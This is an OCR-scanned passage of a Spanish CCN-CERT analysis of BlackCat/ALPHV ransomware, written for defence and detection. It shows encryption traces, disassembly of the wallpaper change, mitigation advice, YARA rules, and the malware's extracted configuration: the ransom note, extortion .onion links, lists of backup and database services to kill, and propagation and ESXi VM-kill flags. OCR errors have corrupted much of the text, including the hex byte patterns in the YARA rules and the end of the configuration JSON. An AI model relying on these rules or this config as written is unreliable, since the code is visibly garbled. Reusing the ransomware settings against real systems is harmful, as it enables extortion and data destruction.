2752 ShWiteFile C\Tools\a \pcap_ 7954 SUCCESS Offset: 236, Length: 4, Priorty: Nomal
2752 BhWriteFile C\Tools\p: \pcap _t 79549 SUCCESS Offset: 240, Length: 256, Priority: Nomal
2752 Bk WrteFie C\Tools\p \peap_t 79545 SUCCESS Ofset: 496, Length: &, Priorty: Nomnal
2752 B WiiteFie C\Tools\p \peap i iane. 79549 SUCCESS Cffsst: 500. Lengih: &, Priorty: Nomnal
o2 B c laachaat aas Toie EleName

Figura 25. Proceso de cifrado

El ransomware podra modificar el fondo de escritorio haciendo uso de la funcién
SystemParametersinfoW con el parametro Ox14 (SPI_SETDESKWALLPAPER):

. 8303 mov ebx,edx
. &4 03 push 3
. S0 push eax
. &4 00 push 0
. 6A 14 push 14 SETDESKWALLPAPER
- ES 84291600 call <IMP.&SystemParametersInfows=
[EIF g 1 a5 test eax,eax

e Breakpoint Enabled | OF84 E0070000 je blackcat_wvi1.49E26C

1 F7C3 FFFFFF 7F test ebx,7FFFFFFF

i -" 0049D492| &6:CT06 D000 mov word ptr ds:[esi],0

Figura 26. Cambio de fondo de escritorio

5. MITIGACION

La manera mas estratégica para contener y reducir el impacto del ransomware es
trabajar de forma paralela en el aislado de redes/VLAN que conforman la entidad
afectada (con el objetivo de contener los segmentos de red con equipos infectados y
evitar su expansion) y en el rotado de contrasefas en el dominio. Dicho rotado debe
incluir las cuentas locales de administrador (es importante que sean Unicas para cada
equipo) asi como la cuenta KRBTGT del dominio (entornos Windows). Téngase en cuenta
que estas medidas posiblemente interfieran con el correcto funcionamiento del dominio
o redes afectadas y puedan causar diversos imprevistos (por ejemplo, el reinicio de
maquinas); no obstante, permitiria contener la amenaza de una manera resolutiva.

Desde un punto de vista preventivo es importante estar al dia de las TTP (Tacticas
Técnicas y Procedimientos) empleadas por este tipo de Threat Actors en las diversas
fases del kill Chain. Conslltese el apartado de referencias para conocer®3 |as
herramientas y técnicas mas habituales empleadas por grupos criminales que emplean
este ransomware para conseguir acceso a los sistemas y escalar sus ataques hasta
comprometer practicamente toda la organizacién. Estar al corriente de esta informacién
e implementar medidas que mitiguen este tipo de estrategias ayudaran
significativamente a prevenir y reducir el dwell time durante un incidente.
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6. REGLAS DE DETECCION

6.1 REGLA YARA

rule blackcat_vi{
meta:
description = "BlackCat/BlackCat"
author = "CCN-CERT"
version ="1.0"
date ="2022-12-01"
hash1 = "93f34fb60a180a3a80ca758b97c2e551"
strings:
Sx1 = "S{ACCESS_KEY}S{EXTENSION}${NOTE_FILE_NAME}" ascii
Sx2 = "Follow these simple steps to get in touch and recover your data" ascii
$x3 = "\"config_id\":\"\",\"public_key\":\"MIIBIjANBgkghkiG9" ascii
Sx4 = "psexec.exepsexec_args=, detach=" ascii
Sx5 = ".onion/?access-key=${ACCESS_KEY}" ascii
Sx6 = "access-tokenpathsno-netno-propno-wallno-vm-kill" ascii
$x7 = "uac_bypass::shell_exec=" ascii
Sx8 = "--no-prop-servers--propagatedpropagate::server=" ascii
$x9 = "service::stop_recursive=L" ascii
$x10 = "Keylnvalid RSA Private KeyChaCha20Aes" ascii

condition:
uint16(0) == 0x5A4D and 1 of (Sx*) and (pe.number_of_sections > 6) and filesize > 2MB and filesize < 5MB

}

Multiples reglas referenciadas desde el servicio Malware Bazaar [*4 detectarian también
la muestra actual; por ejemplo:

rule RAN_ALPHV_Dec_2021_1
{
meta:
description = "Detect AlphV ransomware (Nov and Dec 2021)"
author = "Arkbird_SOLG"
date = "2021-12-09"
reference = "Internal Research"
hash1 = "3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83"
hash2 = "7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e"
hash3 = "cefea76dfdbb48cfela3ddb2c8df34e898e29bec9b2c13e79ef40655c637833ae"
hash4 = "731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161"
tlp = "white"
adversary = "BlackCat"
strings:
Ss1 = { ff b4 24 [2] 00 00 6a 00 ff 35 ?? e1 ?? 00 e8 [3] 00 8d 8c 24 [2] 00 00 ba [3] 00 68 c0O 1f 00 00 e8 [3] ff 83 c4 04 ?? bc 24
[2] 00 00 }
$s2 = {85674 47 8b 3d ?? el ?? 00 85 ff Of 85 81 00 00 00 eb 60 68 [3] 00 6a 00 6a 00 e8 [2] 04 00 85 cO Of 84 99 01 00 00 89
c131c0f00fbl0d??el ??00 0f 84 fO fe ff ff 89 c6 51 e8 [2] 04 00 89 f1 e9 el fe ff ff 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 cO
0f 84 32 03 00 00 89 c6 a3 ?? el ?? 00 8b 3d ?? el ?? 00 85 ff 75 1f 68 [3] 00 ff 35 ?? el ?? 00 e8 [2] 04 00 85 cO Of 84 09 03 00 00
89c7a37??el1??0089742418e8[2]04008b357??el ??0089 4424 14 85f6 75 1f 68 [3] 00 ff 35 ?? el ?? 00 e8 [2] 04 00 85 cO
0f 84 b8 01 00 00 89 c6 a3 ?? el ?? 00 8d 44 24 70 c7 44 24 64 00 00 00 00 c7 44 24 60 00 00 00 00 68 Oc 01 00 00 6a 00 50 e8 [2]
04 0083}
$s3={8b 3889 4dec89557??7434al??el??0085c0750ee8[3]0085c07414a3??el??0053 6a0050 e8 [3] 00 89
c6 85¢0 75 13 89 d9 ba 01 00 00 00 e8 [3] ff Of Ob be 01 00 00 00 53 57 56 €8 [3] 00 83 c4 Oc 8d 04 1e 8d 4d }
Ss4 ={83 c4 0c c7 45 ?? 00 00 00 00 c7 45 ?? 02 00 00 89 89 75 ?? 8d 45 ?? c7 45 ?? 00 00 00 00 c7 45 ?? 00 00 00 00 6a 10 50
57 e8 [3] 00 83 f8 ff Of 84 ?? 02 00 00 f6 45 9c ff }
condition:
uint16(0) == 0x5A4D and filesize > 300KB and all of ($s*)
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ANEXO

FICHERO DE CONFIGURACION

{

"config_id": "",

"public_key":
"MIIBIJANBgkahkiGO9wWOBAQEFAAOCAQ8AMIIBCgKCAQEApw3tWdMaWIvNf2MejySHOY6kuj+IstNpwFyismGDEYhWKPps9c68xI+840
6uLKfgPzNvLNnSxIVa6Ditc)GeKJIEQkzN+ClelKsfzM63jHybREB2hs+dHbgBg4dbamIQcTrrr4mKzuHJ7aok4mlpRx2Un1X0JaodoV7xOH
0O7ui5v6uk39MJ3rvitSEBvv50l0WDIp3IFmtd6UM6r2nygY1ncAUuasalZgF1Vaz7VXOWyX2ReQHbYWWRCR1qyKMQcBtjTSPOXx9B8e
k1pnU4p65kGe9M794Bhhh20GN24gY5a+zwXwstaNTO9luwd4xjjRQAVsDgjrjkzti27G11ICn6wIDAQAB",

"extension": "7954i9r",

"note_file_name": "RECOVER-S{EXTENSION}-FILES.txt",

"note_full_text": ">> Introduction\n\nImportant files on your system was ENCRYPTED and now they have have \"S{EXTENSION}\"
extension.\nlIn order to recover your files you need to follow instructions below.\n\n>> Sensitive Data\n\nSensitive data on your
system was DOWNLOADED and it will be PUBLISHED if you refuse to cooperate.\n\nData includes:\n- Employees personal data, CVs,
DL, SSN.\n- Complete network map including credentials for local and remote services.\n- Financial information including clients
data, bills, budgets, annual reports, bank statements.\n- Complete datagrams/schemas/drawings for manufacturing in solidworks
format\n- And more...\n\nPrivate preview is published here:
http://alphvmmm?2703abo3r2mlmjrpdmzle3rykajgc5xsj7j7ejksbpsa3bad.onion/336eb50d-ebf8-436b-937d-
ec075de46e7f/419ef3f950d9f346cf86db56db453539dcd51567ea871728e78dbc9918c7efeb\n\n\n>> CAUTION\n\nDO NOT
MODIFY FILES YOURSELF.\nDO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA.\nYOU MAY DAMAGE YOUR FILES, IT
WILL RESULT IN PERMANENT DATA LOSS.\nYOUR DATA IS STRONGLY ENCRYPTED, YOU CAN NOT DECRYPT IT WITHOUT CIPHER
KEY.\n\n>> Recovery procedure\n\nFollow these simple steps to get in touch and recover your data:\n1) Download and install Tor
Browser from: https://torproject.org/\n2) Navigate to:
http://sty5r4hhb5oihbg2mwevrofdigbgesi66rvxr5sr573xgvtuvrdcs5yd.onion/?access-key=S{ACCESS_KEY}",

"note_short_text": "Important files on your system was ENCRYPTED.\nSensitive data on your system was DOWNLOADED. \nTo
recover your files and prevent publishing of sensitive information follow instructions in \"${NOTE_FILE_NAME}" file.",

"default_file_mode": "Auto",

"default_file_cipher": "Best",

"credentials": [],

"kill_services": ["mepocs", "memtas", "veeam", "svcS$", "backup", "sql", "vss", "msexchange", "sql*" ],

"kill_processes": ["encsvc", "thebat", "mydesktopqos", "xfssvccon", ‘"firefox", ‘infopath", "winword", 'steam",
"synctime", "notepad", "ocomm", "onenote", "mspub", "thunderbird", "agntsvc", ‘"sqgl", ‘"excel", "powerpnt",
"outlook", "wordpad", "dbeng50", ‘"isglplussvc", “sqbcoreservice", "oracle", "ocautoupds", "dbsnmp", "msaccess",
"tbirdconfig", "ocssd", "mydesktopservice", "visio", "sql*" ],

"exclude_directory_names": ["system volume information", ‘“intel", "Swindows.~ws", "application data", "Srecycle.bin",
"mozilla", "program files (x86)", "program files", "Swindows.~bt", "public", "msocache", "windows", ‘"default", "all
users", "tor browser", "programdata", "boot", "config.msi", "google", “perflogs", "appdata”, "windows.old"],

"exclude_file_names": [ "desktop.ini", "autorun.inf', "ntldr", "bootsect.bak", "thumbs.db", "boot.ini", "ntuser.dat",
"iconcache.db", "bootfont.bin", "ntuser.ini", "ntuser.dat.log"],

"exclude_file_extensions": [ "themepack", "nls", "diagpkg", "msi", "Ink", "exe", "cab", "scr", "bat", "drv", '"rtp",
"msp", "prf', "msc", ‘"ico", '"key", "ocx", '"diagcab", "diagcfg", ‘"pdb", "wpx", "hlp", ‘icns", "rom", "dllI",
"msstyles", "mod", ‘"ps1", ‘ics", "hta", "bin", "cmd", "ani", "386", ‘"lock", "cur", ‘idx", "sys", ‘"com",
"deskthemepack”, "shs", "Idf", "theme", "mpa", "nomedia", "spl", "cpl", "icl", "msu" 1,

"exclude_file_path_wildcard": [],

"enable_network_discovery": true,

"enable_self_propagation": true,

"enable_set_wallpaper": true,

"enable_esxi_vm_kill": true,

"enable_esxi_vm_snapshot_kill": true,

"strict_include_paths": [],

"esxi_vm_kill_exclude": []

" n

adv",
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